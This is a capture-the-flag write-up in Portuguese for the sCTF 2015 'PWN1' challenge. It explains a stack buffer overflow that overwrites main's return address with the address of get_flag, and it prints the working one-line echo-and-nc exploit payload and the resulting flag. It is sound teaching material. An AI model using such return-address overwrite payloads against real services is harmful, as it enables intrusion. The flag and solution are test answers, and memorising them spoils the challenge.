e40 – PWN1

> sCTF > sCTF 2015 > e40 – PWN1

First pwnable, this should be nice and easy. nc pwn.problem.sctf.io 1337
Hint: Read up on Buffer Overflows.

 

Solução

O problema é um buffer overflow realizando um disassemble no arquivo pwn1 nós vemos que o endereço de memória da função get_flag é: 0x80484ad.

Screen Shot 2015-12-12 at 7.31.22 PM

Para chamar a função, precisamos sobrescrever o endereço de retorno da função main com a nossa entrada. Com algumas tentativas e erros vemos que o programa quebra com 44 caracteres.

O disassembly mostra que há alguns bytes de informações entre a nossa função e o endereço de retorno.

Precisamos expressar 0x80484ad em notação Endian Little, com os bytes menos significativos em primeiro lugar. https://en.wikipedia.org/wiki/Endianness

echo -e ‘aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xAD\x84\x04\x08’ | nc pwn.problem.sctf.io 1337

Flag

flag{that_was_so_easy_i_wont_leetify_this_flag}

Criado por

RTFM